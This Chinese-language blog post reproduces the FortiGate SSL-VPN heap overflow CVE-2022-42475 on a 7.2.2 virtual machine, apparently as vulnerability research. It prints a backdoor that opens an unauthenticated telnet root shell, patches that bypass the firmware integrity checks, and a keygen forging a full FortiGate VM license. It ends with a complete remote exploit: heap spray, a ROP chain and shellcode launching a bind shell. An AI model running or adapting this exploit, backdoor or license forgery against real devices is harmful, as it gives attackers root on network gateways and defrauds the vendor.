CVE-2022-42475 FortiGate SSLVPN Heap Overflow

很早以前就想复现的一个漏洞,最近刚好有机会可以看看。

环境搭建

因为笔者买不起真实设备,所以选择了在海鲜市场买vm虚拟机(笑)

受影响的版本可以在这里查看,笔者选择的是受影响的最后一个版本,也就是7.2.2

提取文件系统

因为用的是vm虚拟机,所以可以直接把vmdk挂载到平时使用的ubuntu上(可以使用qemu-ndb来挂载,笔者是直接使用VMware的图形界面新增硬盘的功能来挂载的)

1706773501357.webp

挂载好之后可以在ubuntu中看到以下文件

> ls -l /media/kotori/FORTIOS
total 83244
-rw-r--r-- 1 root root        1 Sep 30  2022 boot.msg
-rw-r--r-- 1 root root 13238193 Sep 30  2022 datafs.tar.gz
-rw-r--r-- 1 root root      155 Sep 30  2022 extlinux.conf
-rw-r--r-- 1 root root       52 Sep 30  2022 filechecksum
-rw-r--r-- 1 root root  4147088 Sep 30  2022 flatkc
-rw-r--r-- 1 root root      256 Sep 30  2022 flatkc.chk
-r--r--r-- 1 root root   122656 Sep 30  2022 ldlinux.c32
-r--r--r-- 1 root root    69632 Sep 30  2022 ldlinux.sys
drwx------ 2 root root    16384 Sep 30  2022 lost+found
-rw-r--r-- 1 root root 67517892 Sep 30  2022 rootfs.gz
-rw-r--r-- 1 root root      256 Sep 30  2022 rootfs.gz.chk

其中flatkc是bzImage内核,extlinux.conf是内核的启动参数

> cat /media/kotori/FORTIOS/extlinux.conf                     
DISPLAY boot.msg
TIMEOUT 10
TOTALTIMEOUT 9000
DEFAULT flatkc ro panic=5 endbase=0xA0000 console=ttyS0, root=/dev/ram0 ramdisk_size=65536 initrd=/rootfs.gz

rootfs.gz就是我们要提取的文件系统,将它拷贝到本地过后使用gunzipcpio解包,

> ls
bin.tar.xz      dev       lib64                sbin        usr.tar.xz.chk
bin.tar.xz.chk  etc       migadmin.tar.xz      sys         var
boot            fortidev  node-scripts.tar.xz  tmp
data            init      proc                 usr
data2           lib       rootfs               usr.tar.xz

解压出来会发现bin目录和部分其他目录都以.tar.xz格式打包了,飞塔使用的tar和xz的算法都是自己魔改过的,在sbin目录下可以找到对应的可执行文件,直接尝试使用这里的文件来解包。

> ./sbin/xz --check=sha256 -d ./bin.tar.xz
zsh: no such file or directory: ./sbin/xz

这里抛出了no such file or directorty: ./sbin/xz的报错,猜测是他链接的库的路径问题

> ldd ./sbin/xz             
	linux-vdso.so.1 (0x00007ffcb54f1000)
	libm.so.6 => /lib/x86_64-linux-gnu/libm.so.6 (0x00007f5ac637e000)
	libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f5ac618c000)
	/fortidev/lib64/ld-linux-x86-64.so.2 => /lib64/ld-linux-x86-64.so.2 (0x00007f5ac64e7000)

ld-linux-x86-64.so.2使用的是以当前文件系统为根目录的绝对路径,所以我们需要chroot修改一下根目录,

chroot . sbin/xz --check=sha256 -d ./bin.tar.xz
chroot . sbin/ftar -xf ./bin.tar

这样就提取出了bin文件夹,这里面的大量文件都是到/bin/init/bin/sysctl的软链接(前者实现了大量功能,后者类似于精简版的busybox,提供了一些基础的shell命令),我们要分析的漏洞文件sslvpnd也是到/bin/init的软链接。

> ls -l ./bin | grep sslvpnd
lrwxrwxrwx 1 root root        9 Jan 29 19:39 sslvpnd -> /bin/init

调试后门植入

修改文件系统

因为fortigate的设备开机之后自动启动的是飞塔的CLI shell,全是网络配置的命令,没有办法像我们拿到正常的linux shell那样方便操作,所以需要我们通过重新打包文件系统来制作后门。

首先静态编译一个busybox到bin目录下,笔者使用的是busybox-1.36.0,编译好之后直接复制过去。

cp /home/kotori/Desktop/busybox-1.36.0/busybox ./bin/
chmod 777 ./bin/busybox

重新制作sh为指向/bin/busybox的软链接:

rm -rf ./bin/sh
ln -s /bin/busybox ./bin/sh

(不过这个软链接由于不明原因起不到作用,如果有师傅知道怎么回事还请指点一下)

在CLI shell中执行diagnose hardware smartctl时,会调用execv运行/bin/smartctl

__int64 __fastcall sub_23A2D40(int a1, const void *a2)
{
  __int64 v2; // rbx
  void *v3; // rsp
  __pid_t v4; // eax
  unsigned int v5; // r12d
  int *v7; // rbx
  char *v8; // rax
  char *v9[6]; // [rsp+0h] [rbp-30h] BYREF

  v2 = a1;
  v9[1] = (char *)__readfsqword(0x28u);
  v3 = alloca(8LL * (a1 + 1));
  v4 = fork();
  v5 = v4;
  if ( v4 < 0 )
  {
    if ( (unsigned int)sub_212EAB0() || *(_DWORD *)(sub_21E9820() + 4) > 2u )
    {
      v7 = __errno_location();
      v8 = strerror(*v7);
      fprintf(stdout, "[%s:%d] fork() failed: (%d)%s\n", "act_diag_hw_smartctl", 641LL, (unsigned int)*v7, v8);
    }
    fflush(stdout);
  }
  else if ( v4 )
  {
    v5 = 0;
    wait(0LL);
  }
  else
  {
    if ( a1 <= 0 )
      v2 = 0LL;
    else
      memcpy(v9, a2, 8LL * a1);
    v9[v2] = 0LL;
    execv("/bin/smartctl", v9);  // here
  }
  return v5;
}

我们可以很方便地劫持该文件为后门入口。

编写一个简单的后门程序,前面两个命令用来测试后门是否正常运行,第三个命令制作一个反弹shell(由于防火墙策略的存在,不能随便起端口,所以这里采用kill掉原来的ssh服务后马上在22端口起telnet的方式)

# include <stdio.h>

void shell() {
	system("/bin/busybox ls", 0, 0);
	system("/bin/busybox id", 0, 0);
	system("/bin/busybox killall sshd && /bin/busybox telnetd -l /bin/sh -b 0.0.0.0 -p 22", 0, 0);

	return;
}

int main(int argc, char const *argv[]) {
	shell();

	return 0;
}

静态编译后替换bin目录下的smartctl。

gcc backdoor.c -o backdoor --static -g
rm ./bin/smartctl
cp ./backdoor ./bin/smartctl
chmod 777 ./bin/smartctl

至此,反弹shell后门制作完毕。但如果此时直接打包文件系统是没办法通过文件系统的自检的,所以我们还需要做一些额外的工作(某些旧版本不需要这一步)。

绕过完整性校验

内核启动时会有如下调用链

start_kernel
	rest_init
		kernel_init
			init_post_isra_0

init_post_isra_0中会调用fgt_verify来check文件系统是否被篡改,如果通过校验则运行/sbin/init

void __fastcall __noreturn init_post_isra_0(__int64 a1, void **a2)
{
  char v2; // al
  __int64 v3; // rax
  int v4; // edx
  int v5; // ecx
  int v6; // r8d
  int v7; // r9d
  char v8; // [rsp-8h] [rbp-8h]

  v8 = v2;
  async_synchronize_full();
  free_initmem();
  dword_FFFFFFFF80A1D980 = 1;
  numa_default_policy();
  v3 = *(_QWORD *)(__readgsqword(0xB700u) + 1048);
  *(_DWORD *)(v3 + 92) |= 0x40u;
  if ( !(unsigned int)fgt_verify() )
  {
    off_FFFFFFFF809BC2C0 = "/sbin/init";
    a2 = &off_FFFFFFFF809BC2C0;
    kernel_execve("/sbin/init", &off_FFFFFFFF809BC2C0, &off_FFFFFFFF809BC1A0);
  }
  panic(
    (unsigned int)"No init found.  Try passing init= option to kernel. See Linux Documentation/init.txt for guidance.",
    (_DWORD)a2,
    v4,
    v5,
    v6,
    v7,
    v8);
}

/sbin/init的main函数如下:

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  char *argv[4]; // [rsp+0h] [rbp-20h] BYREF

  argv[3] = (char *)__readfsqword(0x28u);
  sub_4017D0(a1, a2, a3);
  unlink("/sbin/init.chk");
  if ( (int)sub_401AD0("bin") >= 0 && (int)sub_401AD0("migadmin") >= 0 && (int)sub_401AD0("node-scripts") >= 0 )
    sub_401AD0("usr");
  argv[0] = "/bin/init";
  argv[1] = 0LL;
  execve("/bin/init", argv, 0LL);
  return 0LL;
}

sub_401AD0是利用sbin目录下的程序解包对应的压缩目录,解包完之后便调用execve运行/bin/init

不过在这之前,还调用了sub_4017D0

unsigned __int64 sub_4017D0()
{
  char v0; // cl
  char v1; // dl
  __int64 i; // rax
  __int64 v4; // [rsp+Fh] [rbp-41h]
  char v5[17]; // [rsp+17h] [rbp-39h] BYREF
  __int16 v6; // [rsp+28h] [rbp-28h]
  unsigned __int64 v7; // [rsp+48h] [rbp-8h]

  v0 = 97;
  v1 = 78;
  v7 = __readfsqword(0x28u);
  v4 = 0x42F1C441217474ELL;
  strcpy(v5, "aiqu0oZi");
  for ( i = 0LL; ; v0 = v5[i] )
  {
    v5[i++ + 9] = v0 ^ v1;
    if ( i == 8 )
      break;
    v1 = v5[i - 8];
  }
  v6 = 50;
  sub_401700(&v5[9]);
  return v7 - __readfsqword(0x28u);
}

有个可疑的字符串v5,写出简单脚本对v5做一个解密,

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int main()
{
    char v0 = 97;
    char v1 = 78;
    char v4[] = {0x4e, 0x47, 0x17, 0x12, 0x44, 0x1c, 0x2f, 0x04};
    char v5[17] = {};
    
    strcpy(v5, "aiqu0oZi");
    for (int i = 0LL; ; v0 = v5[i] ) {
        v5[i++ + 9] = v0 ^ v1;
        if ( i == 8 )
            break;
        v1 = v4[i];
    }

    puts(&v5[9]);

	return 0;
}

得到的结果前8个字符是/.fgtsum,跟进sub_401700可以看到EVP_sha256等函数,所以猜测此函数的用途也是检测文件系统完整性。

我们给它patch掉,

1706671886100.webp

如果一切都正常的话,此时就会进到/bin/init中,

经过简单分析,在/bin/init的main函数中也存在三处check(图中的sub_44F1F0漏掉了注释),

1706604745248.webp

如果check失败的话则会直接进入sub_44F070重启系统。

这里笔者选择直接patch掉判断(按理说也可以直接将sub_44F070的开头patch成ret,不过XREF一下会发现正常的关机流程也会调用它,所以笔者没有选择这个方法)

1706672967307.webp

我这里是把第一处的跳转nop掉,然后把第二处的jz patch成jmp,如此一来,这两处check就无论如何都不会进到sub_44F070了。

用patch后的init替换掉原来的init后就可以重新打包文件系统了。

chroot . sbin/ftar -cf ./bin.tar ./bin
chroot . sbin/xz --check=sha256 -e ./bin.tar
rm -rf ./bin
find . | cpio -o --format=newc > ../rootfs.raw
cat ../rootfs.raw | gzip > ./rootfs.gz

打包好之后替换掉vmdk中的rootfs.gz,拿新的vmdk去替换掉虚拟机原来的那个硬盘就行了。

此时我们梳理一遍开机的流程:

  • 内核启动,调用fgt_verify进行文件系统校验,通过后运行/sbin/init
  • /sbin/init再次检查文件系统完整性,然后解压bin, migadmin, node-scripts, usr这四个文件夹,无误后运行/bin/init
  • /bin/init替换自身进程为/bin/initXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX,重定向三个标准文件描述符到/dev/null,再次检查文件系统完整性......

后面两步的检查已经被我们patch掉了,重点就是解决第一步的问题。

因为对内核patch后重新打包不是很行得通,故尝试直接动调hook掉检查。

VMware针对内核调试有专门的接口,在FortiGate的vmx文件中加入debugStub:

debugStub.listen.guest64 = "TRUE"
debugStub.listen.guest64.remote = "TRUE"
debugStub.port.guest64 = "1337"
debugStub.listen.guest32 = "TRUE"
debugStub.listen.guest32.remote = "TRUE"
debugStub.port.guest32 = "1338"

启动的时候即可使用gdb连上去远程调试了(一开始使用的是pwndbg,不过实在是太慢了,就换成了gef)

断在判断fgt_verify后,patch返回值为0

1706669930989.webp

成功通过校验,启动系统

1706673744181.webp

这里笔者打包好了自动patch的脚本

> cat ./gdbinit                         
file ./vmlinux
gef-remote 192.168.43.208 1337
b *0xFFFFFFFF807AC117
c
!sleep 1
ni
set $eax=0
c

登录上之后diagnose hardware smartctl打开后门,可以看到前面两条验证指令正常运行了,

1706673782678.webp

在ubuntu中使用telnet连上去成功getshell

1706679213769.webp

接着上传一个静态编译的gdbserver方便后续调试。

笔者是在本地搭了一个http file server,直接用wget拉取下来。

1706681570954.webp

不过每次重启都需要重新上传,最好还是修改文件系统的时候直接打包放进去

还是因为防火墙policy的原因,我们不能直接开端口,这里我选择了kill掉原来8013的服务

/bin/busybox killall fsvrd && ./gdbserver-7.10.1-x64 :8013 --attach 190

可以正常调试了

1706766828755.webp

配置sslvpn

因为漏洞点在sslvpn的功能中,所以需要给设备配置sslvpn

首先打开port1的http服务,笔者这里是把能开的服务全开了

1706681385680.webp

访问web页面,登录管理账号

1706681934478.webp

不出意外的话,登录之后会让你弄一个License,这里可以直接选择免费的Evaluation License,注册一个飞塔账号就行了。但是使用免费的Evaluation License会使设备进入LENC模式,在此模式下加密算法受限,会导致SSL或TLS需要降版本交互。因此,笔者采用了破解Full License的方法。

根据这篇文章的分析,我们可以写出注册机:

import struct
import base64
from Crypto.Cipher import AES

lic_key_array = {
    "SERIALNO": (0x73, 0x0),
    "CERT": (0x73, 0x8),
    "KEY": (0X73, 0x10),
    "CERT2": (0X73, 0x18),
    "KEY2": (0X73, 0x20),
    "CREATEDATE": (0x73, 0x28),
    "UUID": (0x73, 0x30),
    "CONTRACT": (0x73, 0x38),
    "USGFACTORY": (0x6e, 0x40),
    "LENCFACTORY": (0x6e, 0x44),
    "CARRIERFACTORY": (0x6e, 0x48),
    "EXPIRY": (0x6e, 0x4c)
}


class License:
    fixed_aes_key = b"\x4C\x7A\xD1\x3C\x95\x3E\xB5\xC1\x06\xDA\xFC\xC3\x90\xAE\x3E\xCB"
    fixed_aes_iv = b"\x4C\x7A\xD1\x3C\x95\x3E\xB5\xC1\x06\xDA\xFC\xC3\x90\xAE\x3E\xCB"
    fixed_rsa_header = b"\x78\x99\xBF\xA5\xEF\x56\xAA\x98\xC1\x0B\x87\x2E\x30\x8E\x54\xF9\x71\xAD\x13\xEA\xAA\xBC\xE2\x0C\xB3\xAE\x65\xAE\xF9\x0E\x9B\xD1\x88\xC7\xFE\xBC\x86\x65\xFE\xE7\x62\xDE\x43\x0B\x02\x15\x36\xC8\xC5\xCD\x0E\xB9\x01\x97\xCE\x82\x27\x0F\x69\x7F\x6A\x29\xEC\x1C"

    rsa_header_length = len(fixed_rsa_header)  # 4 bytes
    aes_key = fixed_aes_iv + fixed_aes_key  # 32 bytes  iv + key
    enc_data_length = None
    enc_data = None
    license_data = None

    license_header = "-----BEGIN FGT VM LICENSE-----\r\n"
    license_tail = "-----END FGT VM LICENSE-----\r\n"

    def __init__(self, licensedata):
        self.license_data = licensedata

    def encrypt_data(self):
        tmp_buf = b"\x00" * 4 + struct.pack("<I", 0x13A38693) + b"\x00" * 4 + self.license_data  # append magic number

        def encrypt(data, password, iv):
            bs = 16
            pad = lambda s: s + (bs - len(s) % bs) * chr(bs - len(s) % bs).encode()
            cipher = AES.new(password, AES.MODE_CBC, iv)
            data = cipher.encrypt(pad(data))
            return data

        self.enc_data = encrypt(tmp_buf, self.aes_key[16:], self.aes_key[:16])
        self.enc_data_length = len(self.enc_data)

    def obj_to_license(self):
        buf = b""
        buf += struct.pack("<I", self.rsa_header_length)
        buf += self.fixed_rsa_header
        buf += struct.pack("<I", self.enc_data_length)
        buf += self.enc_data
        return base64.b64encode(buf)


class LicenseDataBlock:
    key_name_length = None  # 1 byte
    key_name = None
    key_flag = None  # 1 byte, 's' for str or 'n' for num
    key_value_length = None  # 2 bytes
    key_value = None

    def __init__(self, keyname, keyvalue):
        self.key_name_length = len(keyname)
        self.key_name = keyname
        self.key_value_length = len(keyvalue)
        self.key_value = keyvalue
        self.key_flag = lic_key_array.get(keyname)[0]

    def obj_to_bin(self):
        buf = b""
        buf += struct.pack("<B", self.key_name_length)
        buf += self.key_name.encode()
        buf += struct.pack("<B", self.key_flag)
        if self.key_flag == 0x73:
            buf += struct.pack("<H", self.key_value_length)
            buf += self.key_value.encode()
        elif self.key_flag == 0x6e:
            buf += struct.pack("<H", 4)
            buf += struct.pack("<I", int(self.key_value))
        return buf


if __name__ == "__main__":
license_data_list = [
    LicenseDataBlock("SERIALNO", "FGVMPGLICENSEDTOCATALPA"),
    LicenseDataBlock("CREATEDATE", "1696089600"),
    LicenseDataBlock("USGFACTORY", "0"),
    LicenseDataBlock("LENCFACTORY", "0"),
    LicenseDataBlock("CARRIERFACTORY", "0"),
    LicenseDataBlock("EXPIRY", "31536000"),
]
license_data = b""
for obj in license_data_list:
    license_data += obj.obj_to_bin()

_lic = License(license_data)
_lic.encrypt_data()
raw_license = _lic.obj_to_license().decode()

n = 0
lic = ""
while True:
    if n >= len(raw_license):
        break
    lic += raw_license[n:n + 64]
    lic += "\r\n"
    n += 64

with open("./License.lic", "w") as f:
    f.write(_lic.license_header + lic + _lic.license_tail)

print("[+] done.")

上传生成的License后,即可使用全部功能。

在4443端口配置SSL-VPN

1706684566357.webp

然后在防火墙Policy里面添加一下对应的规则

1706686944227.webp

最后能够正常访问到4443端口,漏洞环境配置完成。

1706687013746.webp

漏洞分析

漏洞点的锁定我们可以下载patch过后的版本来使用ida进行diff,不出意外的话会发现相当多的对je_malloc分配大小的限制。这里借用CataLpa师傅在博客中的分析:

考虑到该漏洞是一个堆内存溢出,根据修复方式推测漏洞的根本原因可能是某处发生整数溢出,导致内存分配函数返回了一块较小的内存,而后续拷贝数据时又使用了较大的 size。

而在 HTTP 请求中可能有两种情况会导致以上结果,一是某些功能 handler 函数中对用户提交的参数验证不严格,或者代码在解析请求时对 Content-Length 的解析出现异常。

sslvpn 中在未授权情况下能够访问的功能点不多,漏洞出现在请求解析阶段可能性比较大。sslvpnd 是基于 Apache httpd 修改而来,开发者在其中添加了很多自定义代码,导致复杂度较高,而且程序不包含符号信息,分析起来会消耗很多时间。

我们可以采取更简单的方法,基于补丁分析和推测,漏洞可能发生在解析请求,特别是处理 Content-Length 阶段。那么只需要按照 fuzz HTTP 协议的思路,构造一些带有畸形 Content-Length 的请求,例如 CL 过大、或者等于负数的情况,将这些请求发送到能够未授权访问的接口中,同时检测 web 服务状态,发生崩溃或无法收到响应时记录下对应的请求报文。

我们直接构造一个带有巨大Content-Length的数据包:

import socket
import ssl

def send_post_data(cl, content, host = b'192.168.128.135', path = b'/remote/login', log = True):
	length = bytes(str(cl), encoding='utf-8')

	data = b'POST ' + path + b' HTTP/1.1\r\n'
	data += b'Host: ' + host + b'\r\n'
	data += b'Content-Length: ' + length + b'\r\n'
	data += b'User-Agent: Mozilla/5.0\r\n'
	data += b'Content-Type: text/plain;charset=UTF-8\r\n'
	data += b'Accept: */*\r\n\r\n'
	data += content

	if log:
		print(data)

	try:
		sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		try:
			sock.connect((host, 4443))
			if log:
				print('connected')
		except (socket.error, OSError) as e :
			print(e)
		context = ssl._create_unverified_context()
		sock = context.wrap_socket(sock)
		sock.sendall(data)

		res = sock.recv(1024)
		if log:
			print(res)
	except Exception as e:
		print(e)


send_post_data(2**31+1, b'a=1')

成功触发crash

Program received signal SIGSEGV, Segmentation fault.
0x00007fb76eac776d in __memset_avx2_erms () from target:/usr/lib/x86_64-linux-gnu/libc.so.6
...

制造堆溢出

经过回溯,最终定位到漏洞函数sub_1785AB0,也就是read_post_data的处理流程

__int64 __fastcall read_post_data(_QWORD *a1)
{
  _QWORD *v1; // r12
  __int64 v2; // rax
  __int64 v3; // rbx
  int v4; // eax
  int v5; // r12d
  __int64 v6; // rdi
  __int64 v7; // rdx
  int v8; // r12d
  __int64 v10; // rdx
  int v11; // r12d

  v1 = (_QWORD *)a1[92];
  v2 = sub_17902B0(a1[83]);
  v3 = v2;
  if ( !*(_QWORD *)(v2 + 8) )
    *(_QWORD *)(v2 + 8) = pool_alloc(*v1, *(_DWORD *)(v2 + 24) + 1);  // vuln here
  v4 = sub_1662BA0(v1, v3 + 32, 8190LL);
  v5 = v4;
  if ( v4 )
  {
    if ( v4 < 0 )
    {
      if ( (unsigned int)sub_16594C0(a1[77]) - 1 <= 4 )
        return 0LL;
    }
    else
    {
      v6 = *(int *)(v3 + 16);
      v7 = *(_QWORD *)(v3 + 24);
      if ( (int)v6 + v4 > v7 )
        v5 = *(_QWORD *)(v3 + 24) - v6;
      if ( v7 > v6 )
      {
        memcpy((void *)(*(_QWORD *)(v3 + 8) + v6), (const void *)(v3 + 32), v5);
        v10 = *(_QWORD *)(v3 + 24);
        v11 = *(_DWORD *)(v3 + 16) + v5;
        *(_DWORD *)(v3 + 16) = v11;
        if ( v11 < v10 )
          return 0LL;
      }
      else
      {
        v8 = *(_DWORD *)(v3 + 16) + v5;
        *(_DWORD *)(v3 + 16) = v8;
        if ( v8 < v7 )
          return 0LL;
      }
    }
  }
  return 2LL;
}

此函数申请了Content-Length+1的堆空间,之后再将用户的数据copy到这个chunk上。

但是对于CL的处理,汇编是这样的:

.text:0000000001785B90 8B 40 18                      mov     eax, [rax+18h]
.text:0000000001785B93 49 8B 3C 24                   mov     rdi, [r12]
.text:0000000001785B97 8D 70 01                      lea     esi, [rax+1]
.text:0000000001785B9A 48 63 F6                      movsxd  rsi, esi
.text:0000000001785B9D E8 CE 8A EC FF                call    pool_alloc

[rax+18h]拿到CL之后,存在了32bit的寄存器eax上,后续使用lea esi, [rax+1]来对其递增1,最后使用movsxd rsi, esi将其从32bit带符号地扩展为64bit。

这样短暂的转换就带来了很大的问题,笔者构造的CL 2**31+1在转换前后:

$rsi   : 0x80000002
$rsi   : 0xffffffff80000002

如此进入到pool_alloc中的memset时,这个长度导致了越界访问的段错误。

想要转换成堆溢出,我们只需要构造一个大于32bit范围的数据,比如0x100000000,低32bits全部为0,在被转化为32bit的数据时,高位的精度会全部丢失,这时递增1后重新转化为64bit,结果就只有1了。

如此一来在申请时只申请了最小粒度的空间,而后续memcpy时就能填入至多0x100000000的数据,从而造成堆溢出。

堆喷

得到堆溢出之后,我们需要调整一下堆上的布局从而方便后续利用。

参考这篇博客在完成CVE-2018-13379 + CVE-2018-13383时的思路,喷射SSL结构体。

1707119895204.webp

通过不断发送https请求来喷射大量的ssl结构体,随后以固定间隔释放一部分连接来制造Hole。我们此时触发堆溢出就能破坏掉某个连接的ssl结构体。

查看openssl的源码,找到struct ssl_st

struct ssl_st {
    /*
     * protocol version (one of SSL2_VERSION, SSL3_VERSION, TLS1_VERSION,
     * DTLS1_VERSION)
     */
    int version;
    /* SSLv3 */
    const SSL_METHOD *method;
    /*
     * There are 2 BIO's even though they are normally both the same.  This
     * is so data can be read and written to different handlers
     */
    /* used by SSL_read */
    BIO *rbio;
    /* used by SSL_write */
    BIO *wbio;
    /* used during session-id reuse to concatenate messages */
    BIO *bbio;
    /*
     * This holds a variable that indicates what we were doing when a 0 or -1
     * is returned.  This is needed for non-blocking IO so we know what
     * request needs re-doing when in SSL_accept or SSL_connect
     */
    int rwstate;
    int (*handshake_func) (SSL *);
    /*
     * Imagine that here's a boolean member "init" that is switched as soon
     * as SSL_set_{accept/connect}_state is called for the first time, so
     * that "state" and "handshake_func" are properly initialized.  But as
     * handshake_func is == 0 until then, we use this test instead of an
     * "init" member.
     */
    /* are we the server side? */
    int server;
    
    ......

};

我们设法可以劫持该结构体上的handshake_func指针。

此时还需要想办法定位ssl_st结构体:

__int64 __fastcall sub_1785C90(__int64 a1, __int64 a2)
{
  int v2; // r14d
  __int64 v4; // rbx
  __int64 v5; // rax
  _DWORD *v6; // rax
  __int64 v7; // rsi

  v2 = 30;
  v4 = sub_178BA40(*(unsigned int *)(a1 + 144));
  sub_1790110(a2, "send_expect_100", 0LL, 4LL, send_expect_100);
  sub_1790110(a2, "read_post_data", 0LL, 1LL, read_post_data);
  sub_1790260(a2, sub_17859B0);
  sub_1790280(a2, sub_1785BB0);
  if ( v4 )
    v2 = *(_DWORD *)(v4 + 68);
  v5 = sub_178FD50(a1);
  if ( !v5 || (v6 = *(_DWORD **)(v5 + 56)) == 0LL || (v7 = 1000LL, (unsigned int)(*v6 - 6) <= 2) )
    v7 = (unsigned int)(100 * v2);
  sub_1790270(a2, v7, 0LL);
  return 0LL;
}

该函数调用了sub_1790110来分配ssl_st结构体,并且复制了一个字符串在结构体偏移200处

char *__fastcall sub_1790110(__int64 *a1, const char *a2, int a3, int a4, __int64 a5)
{
  size_t v7; // rax
  char *v8; // rax
  char *v9; // r12
  char *v10; // rax
  char **v11; // rax

  v7 = strlen(a2);
  v8 = (char *)pool_alloc(*a1, v7 + 201);
  v9 = v8;
  if ( v8 )
  {
    *(_QWORD *)v8 = v8;
    *((_QWORD *)v8 + 1) = v8;
    v10 = &v8[32 * a3];
    *((_DWORD *)v10 + 6) = a4;
    *((_DWORD *)v10 + 7) = a4;
    if ( (a4 & 1) != 0 )
    {
      *(_QWORD *)&v9[32 * a3 + 32] = a5;
    }
    else if ( (a4 & 4) != 0 )
    {
      *(_QWORD *)&v9[32 * a3 + 40] = a5;
    }
    strcpy(v9 + 200, a2);  // here
    v11 = (char **)a1[13];
    a1[13] = (__int64)v9;
    *(_QWORD *)v9 = a1 + 12;
    *((_QWORD *)v9 + 1) = v11;
    *v11 = v9;
  }
  return v9;
}

所以我们只需要定位read_post_data字符串就行能推算出handshake_func指针的位置。

1707120680032.webp

由于该结构体也是通过je_malloc分配的,和为post数据分配的空间处于同一个区域内,所以可以大量创建ssl会话,然后释放其中一部分制造出空洞,随后创建出恶意会话,该会话的结构体就会被申请到某个空洞上来配合溢出。

完成利用

rop链上有比较多的dirty read/write噪点,故抬栈gap了一下。

并非最终利用,仅供参考

from pwn import *
import socket
import ssl

context.arch='amd64'

def create_ssl_ctx(host = b'192.168.128.135', name = 4443):
	try:
		sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		try:
			sock.connect((host, name))
		except (socket.error, OSError) as e :
			print(e)
			return None
		context = ssl._create_unverified_context()
		sock = context.wrap_socket(sock)
		print('[+] connected')
		return sock
	except Exception as e:
		print(e)
		return None


def make_request_hdr(cl, content, host = b'192.168.128.135', path = b'/remote/login'):
	length = bytes(str(cl), encoding='utf-8')

	data = b'POST ' + path + b' HTTP/1.1\r\n'
	data += b'Host: ' + host + b'\r\n'
	data += b'Content-Length: ' + length + b'\r\n'
	data += b'User-Agent: Mozilla/5.0\r\n'
	data += b'Content-Type: text/plain;charset=UTF-8\r\n'
	data += b'Accept: */*\r\n\r\n'
	data += content

	return data


socks = []

for i in range(60):
	_sock = create_ssl_ctx()
	_sock.sendall(make_request_hdr(100, b'a=1'))
	socks.append(_sock)

for i in range(20, 40, 2):
	_sock = socks[i]
	_sock.close()
	socks[i] = None

devil_sock = create_ssl_ctx()

for i in range(20):
	socks.append(create_ssl_ctx())

stack_pivot = 0x000000000140583a # push rdx ; pop rsp ; add edi, edi ; nop ; ret
pop_rsi = 0x0000000000530c9e # pop rsi ; ret
pop_rdx = 0x0000000000509382 # pop rdx ; ret
pop_rax = 0x000000000046bb37 # pop rax ; ret
pop_rdx_rdi = 0x0000000002381372 # pop rdx ; pop rdi ; ret
pop_rcx_rsi = 0x000000000256f583 # pop rcx ; pop rsi ; ret
and_rax_rcx = 0x0000000002b83960 # and rax, rcx ; ret
add_rsp = 0x0000000002b7fdf1 # add rsp, 0x20 ; pop rbx ; ret
mov_rdi_rdx = 0x000000000045d852 # mov rdi, rdx ; test esi, esi ; jne 0x45d860 ; ret
mov_rcx_rdi = 0x00000000005f4af7 # mov rcx, rdi ; jne 0x5f4b00 ; ret
mov_rcx_rax = 0x0000000002a1b770 # mov rcx, rax ; test dl, dl ; jne 0x2a1b750 ; ret
mov_rdx_rcx = 0x000000000279ab44 # mov rdx, rcx ; jmp rax
mov_rdi_rax = 0x0000000002b49d10 # mov rdi, rax ; call rcx
call_rsp = 0x000000000046c8c7 # call rsp
writeable_addr = 0x0000000003fc5000
mprotect_plt = 0x43f3e0

'''
0x00000000027ce88c : sub rsp, rax ; mov rdi, rsp ; call qword ptr [rbx]
0x00000000027d3d51 : mov rdi, rsp ; mov r12, rsp ; call qword ptr [rbx]
'''

def place_str_in_stack(arg):
	ret = ''
	# padding
	if len(arg)%8 != 0:
		arg += '\x00' * (8 - (len(arg) % 8))
	else:
		arg += '\x00' * 8
	for i in range(0, len(arg), 8):
		# print(arg[i:i+8])
		ret = 'mov rax, {};push rax;'.format(u64(arg[i:i+8])) + ret
	
	return ret

sc = asm('''
	mov rsp, rbp;
	{}
	mov rdi, rsp;
	xor rsi, rsi;
	xor rdx, rdx;
	mov rax, 0x43ec20;
	call rax;
'''.format(place_str_in_stack('/bin/busybox killall sshd && /bin/busybox telnetd -l /bin/sh -b 0.0.0.0 -p 22')))

offset = 0xe20-0xc0
pay = cyclic(offset)

for i in range(3):
	pay += p64(add_rsp)
	pay += p64(writeable_addr)*5
pay += p64(pop_rsi) + p64(writeable_addr)
pay += p64(add_rsp) + p64(writeable_addr)*3

pay = pay.ljust(offset + 192, b'e')
pay += p64(stack_pivot)
pay += p64(writeable_addr)

# mprotect($rdx, 0x4000, 7)
pay += p64(pop_rsi) + p64(0)
pay += p64(mov_rdi_rdx)
pay += p64(mov_rcx_rdi)
pay += p64(pop_rax) + p64(0xfffffffffffff000)
pay += p64(and_rax_rcx)
pay += p64(pop_rdx) + p64(0)
pay += p64(mov_rcx_rax)
pay += p64(pop_rax) + p64(pop_rsi+1)
pay += p64(mov_rdx_rcx)
pay += p64(mov_rdi_rdx)
pay += p64(pop_rdx) + p64(7)
pay += p64(pop_rsi) + p64(0x4000)
pay += p64(mprotect_plt)
pay += p64(call_rsp)
pay += sc

devil_sock.sendall(make_request_hdr(0x1000000000, pay))

# trigger
for sk in socks:
	if sk is not None:
		sk.sendall(b'a'*60)

参考

https://www.pirates.re/fortigate-vm-for-vulnerability-discovery

https://forum.butian.net/index.php/share/2166

https://wzt.ac.cn/2022/12/15/CVE-2022-42475/